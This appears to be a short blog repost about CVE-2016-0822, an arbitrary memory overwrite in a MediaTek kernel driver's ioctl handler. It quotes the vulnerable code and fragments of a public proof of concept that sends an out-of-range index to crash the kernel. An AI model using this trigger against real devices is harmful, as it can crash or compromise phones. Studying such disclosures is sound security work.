CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158
阅读原文时间:2023年07月15日阅读:2
  • CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158

//mediatek/kernel/drivers/combo/common/core/include/wmt_lib.h
typedef struct {
UINT32 dowloadSeq;
UCHAR addRess[4];
UCHAR patchName[256];
}WMT_PATCH_INFO,*P_WMT_PATCH_INFO;

VOID wmt_lib_set_patch_num(unsigned long num)
{
P_DEV_WMT pWmtDev = &gDevWmt;
pWmtDev->patchNum = num;
}

ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);
case WMT_IOCTL_SET_PATCH_INFO:{

if (copy_from_user(&wMtPatchInfo, (void *)arg, sizeof(WMT_PATCH_INFO))) {
WMT_ERR_FUNC("copy_from_user failed at %d\n", __LINE__);
iRet = -EFAULT;
break;
}

dWloadSeq = wMtPatchInfo.dowloadSeq;
//arbitrary memory overwrite. user can control dowloadSeq
osal_memcpy(pPatchInfo + dWloadSeq - 1, &wMtPatchInfo,
sizeof(WMT_PATCH_INFO));

CVE-2016-0822 PoC :

https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/blob/master/CVE-2016-0822-mtk.c

    /\* set some absurd offset, in hopes of causing panic or GPF \*/  
    overflow.dowloadSeq = 0x31337;  
    /\* set obvious bogus data into data fields.  
     \* If I had exploitation skills these would contain pointers to userland!  
     \*/  
    memset(&overflow.addRess, 'A', 4);  
    memset(&overflow.patchName, 'A', 256);

    ret = ioctl(fd, WMT\_IOCTL\_SET\_PATCH\_INFO, &overflow);

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章